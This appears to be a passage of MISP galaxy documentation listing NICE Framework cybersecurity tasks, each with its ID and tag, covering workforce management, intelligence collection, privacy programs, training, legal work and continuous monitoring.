Establish cybersecurity workforce readiness metrics - T1466

Establish cybersecurity workforce readiness metrics

The tag is: *misp-galaxy:nice-framework-tasks="Establish cybersecurity workforce readiness metrics - T1466"*

Establish waiver processes for cybersecurity career field entry and training qualification requirements - T1467

Establish waiver processes for cybersecurity career field entry and training qualification requirements

The tag is: *misp-galaxy:nice-framework-tasks="Establish waiver processes for cybersecurity career field entry and training qualification requirements - T1467"*

Establish organizational cybersecurity career pathways - T1468

Establish organizational cybersecurity career pathways

The tag is: *misp-galaxy:nice-framework-tasks="Establish organizational cybersecurity career pathways - T1468"*

Develop cybersecurity workforce reporting requirements - T1469

Develop cybersecurity workforce reporting requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity workforce reporting requirements - T1469"*

Establish cybersecurity workforce management programs - T1470

Establish cybersecurity workforce management programs

The tag is: *misp-galaxy:nice-framework-tasks="Establish cybersecurity workforce management programs - T1470"*

Assess cybersecurity workforce management programs - T1471

Assess cybersecurity workforce management programs

The tag is: *misp-galaxy:nice-framework-tasks="Assess cybersecurity workforce management programs - T1471"*

Determine cybersecurity career field qualification requirements - T1478

Determine cybersecurity career field qualification requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine cybersecurity career field qualification requirements - T1478"*

Determine organizational policies related to or influencing the cyber workforce - T1479

Determine organizational policies related to or influencing the cyber workforce

The tag is: *misp-galaxy:nice-framework-tasks="Determine organizational policies related to or influencing the cyber workforce - T1479"*

Integrate cybersecurity workforce personnel into information systems life cycle development processes - T1483

Integrate cybersecurity workforce personnel into information systems life cycle development processes

The tag is: *misp-galaxy:nice-framework-tasks="Integrate cybersecurity workforce personnel into information systems life cycle development processes - T1483"*

Identify cyber workforce planning and management issues - T1552

Identify cyber workforce planning and management issues

The tag is: *misp-galaxy:nice-framework-tasks="Identify cyber workforce planning and management issues - T1552"*

Address cyber workforce planning and management issues - T1553

Address cyber workforce planning and management issues

The tag is: *misp-galaxy:nice-framework-tasks="Address cyber workforce planning and management issues - T1553"*

Develop supply chain cybersecurity risk management policy - T1623

Develop supply chain cybersecurity risk management policy

The tag is: *misp-galaxy:nice-framework-tasks="Develop supply chain cybersecurity risk management policy - T1623"*

Identify foreign language terminology within computer programs (e.g., comments, variable names) - T0858

Identify foreign language terminology within computer programs (e.g., comments, variable names)

The tag is: *misp-galaxy:nice-framework-tasks="Identify foreign language terminology within computer programs (e.g., comments, variable names) - T0858"*

Advise managers and operators on language and cultural issues - T1837

Advise managers and operators on language and cultural issues

The tag is: *misp-galaxy:nice-framework-tasks="Advise managers and operators on language and cultural issues - T1837"*

Assess target motivation - T1838

Assess target motivation

The tag is: *misp-galaxy:nice-framework-tasks="Assess target motivation - T1838"*

Conduct all-source target research - T1839

Conduct all-source target research

The tag is: *misp-galaxy:nice-framework-tasks="Conduct all-source target research - T1839"*

Conduct quality reviews of transcribed or translated materials - T1841

Conduct quality reviews of transcribed or translated materials

The tag is: *misp-galaxy:nice-framework-tasks="Conduct quality reviews of transcribed or translated materials - T1841"*

Identify metadata patterns - T1842

Identify metadata patterns

The tag is: *misp-galaxy:nice-framework-tasks="Identify metadata patterns - T1842"*

Identify metadata anomalies - T1843

Identify metadata anomalies

The tag is: *misp-galaxy:nice-framework-tasks="Identify metadata anomalies - T1843"*

Identify metadata events - T1844

Identify metadata events

The tag is: *misp-galaxy:nice-framework-tasks="Identify metadata events - T1844"*

Identify foreign languages and dialects in initial source data - T1845

Identify foreign languages and dialects in initial source data

The tag is: *misp-galaxy:nice-framework-tasks="Identify foreign languages and dialects in initial source data - T1845"*

Develop language processing tools - T1846

Develop language processing tools

The tag is: *misp-galaxy:nice-framework-tasks="Develop language processing tools - T1846"*

Prepare social network analysis documents - T1847

Prepare social network analysis documents

The tag is: *misp-galaxy:nice-framework-tasks="Prepare social network analysis documents - T1847"*

Scan target graphic and audio language materials - T1848

Scan target graphic and audio language materials

The tag is: *misp-galaxy:nice-framework-tasks="Scan target graphic and audio language materials - T1848"*

Communicate critical or time-sensitive information - T1849

Communicate critical or time-sensitive information

The tag is: *misp-galaxy:nice-framework-tasks="Communicate critical or time-sensitive information - T1849"*

Transcribe target audio language materials - T1850

Transcribe target audio language materials

The tag is: *misp-galaxy:nice-framework-tasks="Transcribe target audio language materials - T1850"*

Translate target graphic language materials - T1851

Translate target graphic language materials

The tag is: *misp-galaxy:nice-framework-tasks="Translate target graphic language materials - T1851"*

Translate target audio language materials - T1852

Translate target audio language materials

The tag is: *misp-galaxy:nice-framework-tasks="Translate target audio language materials - T1852"*

Coordinate intelligence support to operational planning - T1637

Coordinate intelligence support to operational planning

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate intelligence support to operational planning - T1637"*

Communicate information requirements to collection managers - T1684

Communicate information requirements to collection managers

The tag is: *misp-galaxy:nice-framework-tasks="Communicate information requirements to collection managers - T1684"*

Assess capability to satisfy assigned intelligence tasks - T1685

Assess capability to satisfy assigned intelligence tasks

The tag is: *misp-galaxy:nice-framework-tasks="Assess capability to satisfy assigned intelligence tasks - T1685"*

Draft intelligence sections of cyber operations plans - T1687

Draft intelligence sections of cyber operations plans

The tag is: *misp-galaxy:nice-framework-tasks="Draft intelligence sections of cyber operations plans - T1687"*

Integrate intelligence guidance into cyber operations planning activities - T1702

Integrate intelligence guidance into cyber operations planning activities

The tag is: *misp-galaxy:nice-framework-tasks="Integrate intelligence guidance into cyber operations planning activities - T1702"*

Provide intelligence guidance to cyber operations requirements - T1705

Provide intelligence guidance to cyber operations requirements

The tag is: *misp-galaxy:nice-framework-tasks="Provide intelligence guidance to cyber operations requirements - T1705"*

Develop cyber intelligence collection and production requirements - T1727

Develop cyber intelligence collection and production requirements

The tag is: *misp-galaxy:nice-framework-tasks="Develop cyber intelligence collection and production requirements - T1727"*

Determine cyber operations partner intelligence capabilities and limitations - T1738

Determine cyber operations partner intelligence capabilities and limitations

The tag is: *misp-galaxy:nice-framework-tasks="Determine cyber operations partner intelligence capabilities and limitations - T1738"*

Identify intelligence environment preparation derived production needs - T1750

Identify intelligence environment preparation derived production needs

The tag is: *misp-galaxy:nice-framework-tasks="Identify intelligence environment preparation derived production needs - T1750"*

Develop cyber intelligence plans - T1815

Develop cyber intelligence plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop cyber intelligence plans - T1815"*

Analyze incoming collection requests - T0565

Analyze incoming collection requests

The tag is: *misp-galaxy:nice-framework-tasks="Analyze incoming collection requests - T0565"*

Assess efficiency of existing information exchange and management systems - T0577

Assess efficiency of existing information exchange and management systems

The tag is: *misp-galaxy:nice-framework-tasks="Assess efficiency of existing information exchange and management systems - T0577"*

Manage request for information (RFI) processes - T1656

Manage request for information (RFI) processes

The tag is: *misp-galaxy:nice-framework-tasks="Manage request for information (RFI) processes -*

T1656"

Develop feedback procedures - T1713

Develop feedback procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop feedback procedures - T1713"*

Assess intelligence collection results - T1725

Assess intelligence collection results

The tag is: *misp-galaxy:nice-framework-tasks="Assess intelligence collection results - T1725"*

Document intelligence collection assessment findings - T1726

Document intelligence collection assessment findings

The tag is: *misp-galaxy:nice-framework-tasks="Document intelligence collection assessment findings - T1726"*

Determine if collection requests meet priority intelligence requirements - T1730

Determine if collection requests meet priority intelligence requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if collection requests meet priority intelligence requirements - T1730"*

Determine if information collected satisfies intelligence requests - T1731

Determine if information collected satisfies intelligence requests

The tag is: *misp-galaxy:nice-framework-tasks="Determine if information collected satisfies intelligence requests - T1731"*

Determine if collection operations meet operational requirements - T1733

Determine if collection operations meet operational requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if collection operations meet operational requirements - T1733"*

Inform stakeholders of evaluation results - T1753

Inform stakeholders of evaluation results

The tag is: *misp-galaxy:nice-framework-tasks="Inform stakeholders of evaluation results - T1753"*

Promote collection planning as an integrated component of the strategic campaign plans and other adaptive plans - T1788

Promote collection planning as an integrated component of the strategic campaign plans and other adaptive plans

The tag is: *misp-galaxy:nice-framework-tasks="Promote collection planning as an integrated component of the strategic campaign plans and other adaptive plans - T1788"*

Submit information requests to collection requirement management section - T1821

Submit information requests to collection requirement management section

The tag is: *misp-galaxy:nice-framework-tasks="Submit information requests to collection requirement management section - T1821"*

Track status of information requests - T1831

Track status of information requests

The tag is: *misp-galaxy:nice-framework-tasks="Track status of information requests - T1831"*

Translate collection requests for discipline-specific collection requirements - T1832

Translate collection requests for discipline-specific collection requirements

The tag is: *misp-galaxy:nice-framework-tasks="Translate collection requests for discipline-specific collection requirements - T1832"*

Identify opportunities to improve collection management efficiency and effectiveness - T1833

Identify opportunities to improve collection management efficiency and effectiveness

The tag is: *misp-galaxy:nice-framework-tasks="Identify opportunities to improve collection management efficiency and effectiveness - T1833"*

Validate information requests - T1834

Validate information requests

The tag is: *misp-galaxy:nice-framework-tasks="Validate information requests - T1834"*

Establish an internal privacy audit program - T0898

Establish an internal privacy audit program

The tag is: *misp-galaxy:nice-framework-tasks="Establish an internal privacy audit program - T0898"*

Determine if security incidents require legal action - T1014

Determine if security incidents require legal action

The tag is: *misp-galaxy:nice-framework-tasks="Determine if security incidents require legal action - T1014"*

Determine impact of noncompliance on organizational risk levels - T1224

Determine impact of noncompliance on organizational risk levels

The tag is: *misp-galaxy:nice-framework-tasks="Determine impact of noncompliance on organizational risk levels - T1224"*

Determine impact of noncompliance on effectiveness of the enterprise’s cybersecurity program - T1225

Determine impact of noncompliance on effectiveness of the enterprise’s cybersecurity program

The tag is: *misp-galaxy:nice-framework-tasks="Determine impact of noncompliance on effectiveness of the enterprise’s cybersecurity program - T1225"*

Determine if new and existing services comply with privacy and data security obligations - T1853

Determine if new and existing services comply with privacy and data security obligations

The tag is: *misp-galaxy:nice-framework-tasks="Determine if new and existing services comply with privacy and data security obligations - T1853"*

Develop and maintain privacy and confidentiality consent forms - T1854

Develop and maintain privacy and confidentiality consent forms

The tag is: *misp-galaxy:nice-framework-tasks="Develop and maintain privacy and confidentiality consent forms - T1854"*

Develop and maintain privacy and confidentiality authorization forms - T1855

Develop and maintain privacy and confidentiality authorization forms

The tag is: *misp-galaxy:nice-framework-tasks="Develop and maintain privacy and confidentiality authorization forms - T1855"*

Integrate civil rights and civil liberties in organizational programs, policies, and procedures - T1856

Integrate civil rights and civil liberties in organizational programs, policies, and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Integrate civil rights and civil liberties in organizational programs, policies, and procedures - T1856"*

Integrate privacy considerations in organizational programs, policies, and procedures - T1857

Integrate privacy considerations in organizational programs, policies, and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Integrate privacy considerations in organizational programs, policies, and procedures - T1857"*

Serve as liaison to regulatory and accrediting bodies - T1858

Serve as liaison to regulatory and accrediting bodies

The tag is: *misp-galaxy:nice-framework-tasks="Serve as liaison to regulatory and accrediting bodies - T1858"*

Register databases with local privacy and data protection authorities - T1859

Register databases with local privacy and data protection authorities

The tag is: *misp-galaxy:nice-framework-tasks="Register databases with local privacy and data protection authorities - T1859"*

Promote privacy awareness to management - T1860

Promote privacy awareness to management

The tag is: *misp-galaxy:nice-framework-tasks="Promote privacy awareness to management - T1860"*

Establish organizational Privacy Oversight Committee - T1861

Establish organizational Privacy Oversight Committee

The tag is: *misp-galaxy:nice-framework-tasks="Establish organizational Privacy Oversight Committee - T1861"*

Develop information sharing strategic plans - T1863

Develop information sharing strategic plans

The tag is: *misp-galaxy:nice-framework-tasks="Develop information sharing strategic plans - T1863"*

Develop organizational information infrastructure - T1864

Develop organizational information infrastructure

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational information infrastructure - T1864"*

Implement organizational information infrastructure - T1865

Implement organizational information infrastructure

The tag is: *misp-galaxy:nice-framework-tasks="Implement organizational information infrastructure - T1865"*

Develop self-disclosure policies and procedures - T1866

Develop self-disclosure policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop self-disclosure policies and procedures - T1866"*

Oversee consumer information access rights - T1867

Oversee consumer information access rights

The tag is: *misp-galaxy:nice-framework-tasks="Oversee consumer information access rights - T1867"*

Serve as information privacy liaison to technology system users - T1868

Serve as information privacy liaison to technology system users

The tag is: *misp-galaxy:nice-framework-tasks="Serve as information privacy liaison to technology system users - T1868"*

Serve as liaison to information systems department - T1869

Serve as liaison to information systems department

The tag is: *misp-galaxy:nice-framework-tasks="Serve as liaison to information systems department - T1869"*

Deliver privacy awareness orientations - T1872

Deliver privacy awareness orientations

The tag is: *misp-galaxy:nice-framework-tasks="Deliver privacy awareness orientations - T1872"*

Manage organizational participation in public privacy and cybersecurity events - T1874

Manage organizational participation in public privacy and cybersecurity events

The tag is: *misp-galaxy:nice-framework-tasks="Manage organizational participation in public privacy and cybersecurity events - T1874"*

Prepare privacy program status reports - T1875

Prepare privacy program status reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare privacy program status reports - T1875"*

Respond to press and other public data security inquiries - T1876

Respond to press and other public data security inquiries

The tag is: *misp-galaxy:nice-framework-tasks="Respond to press and other public data security inquiries - T1876"*

Develop organizational privacy program - T1877

Develop organizational privacy program

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational privacy program - T1877"*

Apply sanctions for failure to comply with privacy policies - T1878

Apply sanctions for failure to comply with privacy policies

The tag is: *misp-galaxy:nice-framework-tasks="Apply sanctions for failure to comply with privacy policies - T1878"*

Develop sanctions for failure to comply with privacy policies - T1879

Develop sanctions for failure to comply with privacy policies

The tag is: *misp-galaxy:nice-framework-tasks="Develop sanctions for failure to comply with privacy policies - T1879"*

Resolve allegations of noncompliance with privacy policies and notice of information practices - T1880

Resolve allegations of noncompliance with privacy policies and notice of information practices

The tag is: *misp-galaxy:nice-framework-tasks="Resolve allegations of noncompliance with privacy policies and notice of information practices - T1880"*

Develop a risk management and compliance framework for privacy - T1881

Develop a risk management and compliance framework for privacy

The tag is: *misp-galaxy:nice-framework-tasks="Develop a risk management and compliance framework for privacy - T1881"*

Determine if projects comply with organizational privacy and data security policies - T1882

Determine if projects comply with organizational privacy and data security policies

The tag is: *misp-galaxy:nice-framework-tasks="Determine if projects comply with organizational privacy and data security policies - T1882"*

Develop organizational privacy policies and procedures - T1883

Develop organizational privacy policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational privacy policies and procedures - T1883"*

Establish complaint processes - T1884

Establish complaint processes

The tag is: *misp-galaxy:nice-framework-tasks="Establish complaint processes - T1884"*

Establish mechanisms to track access to protected health information - T1885

Establish mechanisms to track access to protected health information

The tag is: *misp-galaxy:nice-framework-tasks="Establish mechanisms to track access to protected health information - T1885"*

Maintain the organizational policy program - T1886

Maintain the organizational policy program

The tag is: *misp-galaxy:nice-framework-tasks="Maintain the organizational policy program - T1886"*

Conduct privacy impact assessments - T1887

Conduct privacy impact assessments

The tag is: *misp-galaxy:nice-framework-tasks="Conduct privacy impact assessments - T1887"*

Conduct privacy compliance monitoring - T1888

Conduct privacy compliance monitoring

The tag is: *misp-galaxy:nice-framework-tasks="Conduct privacy compliance monitoring - T1888"*

Align cybersecurity and privacy practices in system information security plans - T1889

Align cybersecurity and privacy practices in system information security plans

The tag is: *misp-galaxy:nice-framework-tasks="Align cybersecurity and privacy practices in system information security plans - T1889"*

Determine if protected information releases comply with organizational policies and procedures - T1890

Determine if protected information releases comply with organizational policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Determine if protected information releases comply with organizational policies and procedures - T1890"*

Administer requests for release or disclosure of protected information - T1891

Administer requests for release or disclosure of protected information

The tag is: *misp-galaxy:nice-framework-tasks="Administer requests for release or disclosure of protected information - T1891"*

Develop vendor review procedures - T1892

Develop vendor review procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop vendor review procedures - T1892"*

Develop vendor auditing procedures - T1893

Develop vendor auditing procedures

The tag is: *misp-galaxy:nice-framework-tasks="Develop vendor auditing procedures - T1893"*

Determine if partner and business agreements address privacy requirements and responsibilities - T1894

Determine if partner and business agreements address privacy requirements and responsibilities

The tag is: *misp-galaxy:nice-framework-tasks="Determine if partner and business agreements address privacy requirements and responsibilities - T1894"*

Provide legal advice for business partner contracts - T1895

Provide legal advice for business partner contracts

The tag is: *misp-galaxy:nice-framework-tasks="Provide legal advice for business partner contracts - T1895"*

Mitigate Personal Identifiable Information (PII) breaches - T1896

Mitigate Personal Identifiable Information (PII) breaches

The tag is: *misp-galaxy:nice-framework-tasks="Mitigate Personal Identifiable Information (PII) breaches - T1896"*

Administer action on organizational privacy complaints - T1897

Administer action on organizational privacy complaints

The tag is: *misp-galaxy:nice-framework-tasks="Administer action on organizational privacy complaints - T1897"*

Determine if the organization’s privacy program complies with federal and state privacy laws and regulations - T1898

Determine if the organization’s privacy program complies with federal and state privacy laws and regulations

The tag is: *misp-galaxy:nice-framework-tasks="Determine if the organization’s privacy program*

complies with federal and state privacy laws and regulations - T1898"

Identify organizational privacy compliance gaps - T1899

Identify organizational privacy compliance gaps

The tag is: *misp-galaxy:nice-framework-tasks="Identify organizational privacy compliance gaps - T1899"*

Correct organizational privacy compliance gaps - T1900

Correct organizational privacy compliance gaps

The tag is: *misp-galaxy:nice-framework-tasks="Correct organizational privacy compliance gaps - T1900"*

Manage privacy breaches - T1901

Manage privacy breaches

The tag is: *misp-galaxy:nice-framework-tasks="Manage privacy breaches - T1901"*

Implement and maintain organizational privacy policies and procedures - T1902

Implement and maintain organizational privacy policies and procedures

The tag is: *misp-galaxy:nice-framework-tasks="Implement and maintain organizational privacy policies and procedures - T1902"*

Develop and maintain privacy and confidentiality information notices - T1903

Develop and maintain privacy and confidentiality information notices

The tag is: *misp-galaxy:nice-framework-tasks="Develop and maintain privacy and confidentiality information notices - T1903"*

Monitor advancements in information privacy technologies - T1905

Monitor advancements in information privacy technologies

The tag is: *misp-galaxy:nice-framework-tasks="Monitor advancements in information privacy technologies - T1905"*

Establish organizational risk management strategies - T1907

Establish organizational risk management strategies

The tag is: *misp-galaxy:nice-framework-tasks="Establish organizational risk management strategies - T1907"*

Design and execute exercise scenarios - T1311

Design and execute exercise scenarios

The tag is: *misp-galaxy:nice-framework-tasks="Design and execute exercise scenarios - T1311"*

Develop training modules and classes - T1413

Develop training modules and classes

The tag is: *misp-galaxy:nice-framework-tasks="Develop training modules and classes - T1413"*

Develop training assignments - T1414

Develop training assignments

The tag is: *misp-galaxy:nice-framework-tasks="Develop training assignments - T1414"*

Develop training evaluations - T1415

Develop training evaluations

The tag is: *misp-galaxy:nice-framework-tasks="Develop training evaluations - T1415"*

Develop grading and proficiency standards - T1416

Develop grading and proficiency standards

The tag is: *misp-galaxy:nice-framework-tasks="Develop grading and proficiency standards - T1416"*

Create learner development, training, and remediation plans - T1417

Create learner development, training, and remediation plans

The tag is: *misp-galaxy:nice-framework-tasks="Create learner development, training, and remediation plans - T1417"*

Determine effectiveness of instruction and training - T1438

Determine effectiveness of instruction and training

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of instruction and training - T1438"*

Create interactive learning exercises - T1451

Create interactive learning exercises

The tag is: *misp-galaxy:nice-framework-tasks="Create interactive learning exercises - T1451"*

Develop cybersecurity curriculum goals and objectives - T1463

Develop cybersecurity curriculum goals and objectives

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity curriculum goals and objectives - T1463"*

Develop instructional strategies - T1475

Develop instructional strategies

The tag is: *misp-galaxy:nice-framework-tasks="Develop instructional strategies - T1475"*

Perform periodic reviews of learning materials and courses for accuracy and currency - T1608

Perform periodic reviews of learning materials and courses for accuracy and currency

The tag is: *misp-galaxy:nice-framework-tasks="Perform periodic reviews of learning materials and courses for accuracy and currency - T1608"*

Create privacy training materials - T1870

Create privacy training materials

The tag is: *misp-galaxy:nice-framework-tasks="Create privacy training materials - T1870"*

Prepare privacy awareness communications - T1871

Prepare privacy awareness communications

The tag is: *misp-galaxy:nice-framework-tasks="Prepare privacy awareness communications - T1871"*

Deliver privacy awareness trainings - T1873

Deliver privacy awareness trainings

The tag is: *misp-galaxy:nice-framework-tasks="Deliver privacy awareness trainings - T1873"*

Evaluate the effectiveness and comprehensiveness of existing training programs - T0101

Evaluate the effectiveness and comprehensiveness of existing training programs

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate the effectiveness and comprehensiveness of existing training programs - T0101"*

Prepare and deliver education and awareness briefings - T1008

Prepare and deliver education and awareness briefings

The tag is: *misp-galaxy:nice-framework-tasks="Prepare and deliver education and awareness briefings - T1008"*

Create a cybersecurity awareness program - T1009

Create a cybersecurity awareness program

The tag is: *misp-galaxy:nice-framework-tasks="Create a cybersecurity awareness program - T1009"*

Conduct interactive training exercises - T1093

Conduct interactive training exercises

The tag is: *misp-galaxy:nice-framework-tasks="Conduct interactive training exercises - T1093"*

Develop awareness and training materials - T1156

Develop awareness and training materials

The tag is: *misp-galaxy:nice-framework-tasks="Develop awareness and training materials - T1156"*

Identify pertinent awareness and training materials - T1157

Identify pertinent awareness and training materials

The tag is: *misp-galaxy:nice-framework-tasks="Identify pertinent awareness and training materials - T1157"*

Develop learning objectives and goals - T1418

Develop learning objectives and goals

The tag is: *misp-galaxy:nice-framework-tasks="Develop learning objectives and goals - T1418"*

Develop organizational training materials - T1419

Develop organizational training materials

The tag is: *misp-galaxy:nice-framework-tasks="Develop organizational training materials - T1419"*

Develop proficiency assessments - T1421

Develop proficiency assessments

The tag is: *misp-galaxy:nice-framework-tasks="Develop proficiency assessments - T1421"*

Deliver training courses - T1517

Deliver training courses

The tag is: *misp-galaxy:nice-framework-tasks="Deliver training courses - T1517"*

Determine if cybersecurity training, education, and awareness meet established goals - T1537

Determine if cybersecurity training, education, and awareness meet established goals

The tag is: *misp-galaxy:nice-framework-tasks="Determine if cybersecurity training, education, and awareness meet established goals - T1537"*

Plan classroom learning sessions - T1594

Plan classroom learning sessions

The tag is: *misp-galaxy:nice-framework-tasks="Plan classroom learning sessions - T1594"*

Coordinate training and education - T1595

Coordinate training and education

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate training and education - T1595"*

Plan delivery of non-classroom learning - T1596

Plan delivery of non-classroom learning

The tag is: *misp-galaxy:nice-framework-tasks="Plan delivery of non-classroom learning - T1596"*

Recommend revisions to learning materials and curriculum - T1609

Recommend revisions to learning materials and curriculum

The tag is: *misp-galaxy:nice-framework-tasks="Recommend revisions to learning materials and curriculum - T1609"*

Advocate organization’s official position in legal and legislative proceedings - T0006

Advocate organization’s official position in legal and legislative proceedings

The tag is: *misp-galaxy:nice-framework-tasks="Advocate organization’s official position in legal and legislative proceedings - T0006"*

Resolve conflicts in laws, regulations, policies, standards, or procedures - T0220

Resolve conflicts in laws, regulations, policies, standards, or procedures

The tag is: *misp-galaxy:nice-framework-tasks="Resolve conflicts in laws, regulations, policies, standards, or procedures - T0220"*

Determine if contracts comply with funding, legal, and program requirements - T1189

Determine if contracts comply with funding, legal, and program requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if contracts comply with funding, legal, and program requirements - T1189"*

Identify alleged violations of law, regulations, policy, or guidance - T1511

Identify alleged violations of law, regulations, policy, or guidance

The tag is: *misp-galaxy:nice-framework-tasks="Identify alleged violations of law, regulations, policy, or guidance - T1511"*

Develop implementation guidelines - T1535

Develop implementation guidelines

The tag is: *misp-galaxy:nice-framework-tasks="Develop implementation guidelines - T1535"*

Provide inspectors general, privacy officers, and oversight and compliance with legal analysis and decisions - T1546

Provide inspectors general, privacy officers, and oversight and compliance with legal analysis and decisions

The tag is: *misp-galaxy:nice-framework-tasks="Provide inspectors general, privacy officers, and oversight and compliance with legal analysis and decisions - T1546"*

Evaluate the impact of legal, regulatory, policy, standard, or procedural changes - T1549

Evaluate the impact of legal, regulatory, policy, standard, or procedural changes

The tag is: *misp-galaxy:nice-framework-tasks="Evaluate the impact of legal, regulatory, policy, standard, or procedural changes - T1549"*

Prepare legal documents - T1599

Prepare legal documents

The tag is: *misp-galaxy:nice-framework-tasks="Prepare legal documents - T1599"*

Implement access control processes for continuous monitoring tools and technologies - T1959

Implement access control processes for continuous monitoring tools and technologies

The tag is: *misp-galaxy:nice-framework-tasks="Implement access control processes for continuous monitoring tools and technologies - T1959"*

Manage the continuous monitoring program - T1950

Manage the continuous monitoring program

The tag is: *misp-galaxy:nice-framework-tasks="Manage the continuous monitoring program - T1950"*

Verify currency of software application, network, and system accreditation and assurance documentation - T1331

Verify currency of software application, network, and system accreditation and assurance documentation

The tag is: *misp-galaxy:nice-framework-tasks="Verify currency of software application, network, and system accreditation and assurance documentation - T1331"*

Develop architectures or system components consistent with technical specifications - T0067

Develop architectures or system components consistent with technical specifications

The tag is: *misp-galaxy:nice-framework-tasks="Develop architectures or system components consistent with technical specifications - T0067"*

Determine if systems comply with security, resilience, and dependability requirements - T1237

Determine if systems comply with security, resilience, and dependability requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine if systems comply with security, resilience, and dependability requirements - T1237"*

Determine compliance with cybersecurity policies and legal and regulatory requirements - T1547

Determine compliance with cybersecurity policies and legal and regulatory requirements

The tag is: *misp-galaxy:nice-framework-tasks="Determine compliance with cybersecurity policies and legal and regulatory requirements - T1547"*

Establish technical help processes for continuous monitoring mitigators - T1960

Establish technical help processes for continuous monitoring mitigators

The tag is: *misp-galaxy:nice-framework-tasks="Establish technical help processes for continuous monitoring mitigators - T1960"*

Communicate continuous monitoring reporting requirements - T1961

Communicate continuous monitoring reporting requirements

The tag is: *misp-galaxy:nice-framework-tasks="Communicate continuous monitoring reporting requirements - T1961"*

Implement risk mitigation strategies - T1968

Implement risk mitigation strategies

The tag is: *misp-galaxy:nice-framework-tasks="Implement risk mitigation strategies - T1968"*

Assess continuous monitoring performance - T1966

Assess continuous monitoring performance

The tag is: *misp-galaxy:nice-framework-tasks="Assess continuous monitoring performance - T1966"*

Coordinate responses to issues flagged during continuous monitoring - T1967

Coordinate responses to issues flagged during continuous monitoring

The tag is: *misp-galaxy:nice-framework-tasks="Coordinate responses to issues flagged during continuous monitoring - T1967"*

Establish risk management processes - T1964

Establish risk management processes

The tag is: *misp-galaxy:nice-framework-tasks="Establish risk management processes - T1964"*

Establish performance measurement requirements for continuous monitoring tools and technologies - T1965

Establish performance measurement requirements for continuous monitoring tools and technologies

The tag is: *misp-galaxy:nice-framework-tasks="Establish performance measurement requirements for*

continuous monitoring tools and technologies - T1965"

Define responsibilities for implementing continuous monitoring tools or technologies - T1962

Define responsibilities for implementing continuous monitoring tools or technologies

The tag is: *misp-galaxy:nice-framework-tasks="Define responsibilities for implementing continuous monitoring tools or technologies - T1962"*

Establish liaison to scoring and metrics working group - T1963

Establish liaison to scoring and metrics working group

The tag is: *misp-galaxy:nice-framework-tasks="Establish liaison to scoring and metrics working group - T1963"*

Implement system disposal processes - T1939

Implement system disposal processes

The tag is: *misp-galaxy:nice-framework-tasks="Implement system disposal processes - T1939"*

Determine if system security meets acceptable risk levels - T1937

Determine if system security meets acceptable risk levels

The tag is: *misp-galaxy:nice-framework-tasks="Determine if system security meets acceptable risk levels - T1937"*

Establish system disposal processes - T1938

Establish system disposal processes

The tag is: *misp-galaxy:nice-framework-tasks="Establish system disposal processes - T1938"*

Update cybersecurity action plans - T1935

Update cybersecurity action plans

The tag is: *misp-galaxy:nice-framework-tasks="Update cybersecurity action plans - T1935"*

Report system security status to authorizing officials - T1936

Report system security status to authorizing officials

The tag is: *misp-galaxy:nice-framework-tasks="Report system security status to authorizing officials - T1936"*

Determine if system security risks are acceptable - T1933

Determine if system security risks are acceptable

The tag is: *misp-galaxy:nice-framework-tasks="Determine if system security risks are acceptable - T1933"*

Determine if common control risks are acceptable - T1934

Determine if common control risks are acceptable

The tag is: *misp-galaxy:nice-framework-tasks="Determine if common control risks are acceptable - T1934"*

Determine risks of using common controls - T1931

Determine risks of using common controls

The tag is: *misp-galaxy:nice-framework-tasks="Determine risks of using common controls - T1931"*

Implement cybersecurity action plans - T1932

Implement cybersecurity action plans

The tag is: *misp-galaxy:nice-framework-tasks="Implement cybersecurity action plans - T1932"*

Determine risks of operating or using a system - T1930

Determine risks of operating or using a system

The tag is: *misp-galaxy:nice-framework-tasks="Determine risks of operating or using a system - T1930"*

Prepare authorization packages - T1928

Prepare authorization packages

The tag is: *misp-galaxy:nice-framework-tasks="Prepare authorization packages - T1928"*

Submit authorization packages to authorizing officials for adjudication - T1929

Submit authorization packages to authorizing officials for adjudication

The tag is: *misp-galaxy:nice-framework-tasks="Submit authorization packages to authorizing officials for adjudication - T1929"*

Conduct security control remediations - T1926

Conduct security control remediations

The tag is: *misp-galaxy:nice-framework-tasks="Conduct security control remediations - T1926"*

Develop cybersecurity action plans and milestones - T1927

Develop cybersecurity action plans and milestones

The tag is: *misp-galaxy:nice-framework-tasks="Develop cybersecurity action plans and milestones - T1927"*

Determine accurate security levels in programs and software applications - T1514

Determine accurate security levels in programs and software applications

The tag is: *misp-galaxy:nice-framework-tasks="Determine accurate security levels in programs and software applications - T1514"*

Document software application, system, and network security postures, capabilities, and vulnerabilities - T1289

Document software application, system, and network security postures, capabilities, and vulnerabilities

The tag is: *misp-galaxy:nice-framework-tasks="Document software application, system, and network security postures, capabilities, and vulnerabilities - T1289"*

Prepare technical evaluations of software applications, systems, and networks - T1288

Prepare technical evaluations of software applications, systems, and networks

The tag is: *misp-galaxy:nice-framework-tasks="Prepare technical evaluations of software applications, systems, and networks - T1288"*

Determine effectiveness of security controls - T1924

Determine effectiveness of security controls

The tag is: *misp-galaxy:nice-framework-tasks="Determine effectiveness of security controls - T1924"*

Prepare security control assessment reports - T1925

Prepare security control assessment reports

The tag is: *misp-galaxy:nice-framework-tasks="Prepare security control assessment reports - T1925"*

Develop system security control assessment plans - T1922

Develop system security control assessment plans

